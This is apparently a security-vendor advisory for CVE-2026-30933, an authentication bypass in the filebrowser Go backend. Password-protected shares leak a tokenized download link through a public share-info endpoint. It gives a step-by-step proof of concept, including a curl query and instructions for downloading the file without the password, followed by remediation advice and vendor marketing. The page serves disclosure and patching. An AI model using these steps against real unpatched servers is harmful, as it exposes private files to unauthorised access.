CVE-2026-30933 is a high-severity missing authentication for critical function vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260307130210-09713b32a5f6. It is fixed in 0.0.0-20260307130210-09713b32a5f6.
Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2. Details The issue stems from two flaws: Tokenized download URLs are written into the persistent share model The public endpoint: Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability. The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL PoC Create a password protected share as an authenticated user Copy the public share URL (the clipboard WITHOUT an arrow) http://yourdomain/public/share/yoursharedhash Example: http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw Query the public share endpoint via curl request: curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: /' Example: curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: /' Response includes: { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" } Note the response "hasPassword": true and downloadURL includes token= parameter Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering Example: http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D Browser downloads file immediately without requiring password Impact An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise Recommended Remediation Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go Structural fix, only generate tokenized URLs after successful password validation
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
CVE-2026-30933 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (0.0.0-20260307130210-09713b32a5f6). Upgrading removes the vulnerable code path.
go
github.com/gtsteffaniak/filebrowser/backend (< 0.0.0-20260307130210-09713b32a5f6)github.com/gtsteffaniak/filebrowser/backend → 0.0.0-20260307130210-09713b32a5f6 (go)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
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Already deployed Kodem? See CVE-2026-30933 in your environment →Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260307130210-09713b32a5f6 or later to resolve this vulnerability.
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CVE-2026-30933 is a high-severity missing authentication for critical function vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260307130210-09713b32a5f6. It is fixed in 0.0.0-20260307130210-09713b32a5f6. A critical operation is accessible without requiring any authentication.
CVE-2026-30933 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
github.com/gtsteffaniak/filebrowser/backend (go) versions < 0.0.0-20260307130210-09713b32a5f6 is affected.
Yes. CVE-2026-30933 is fixed in 0.0.0-20260307130210-09713b32a5f6. Upgrade to this version or later.
Whether CVE-2026-30933 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260307130210-09713b32a5f6 or later.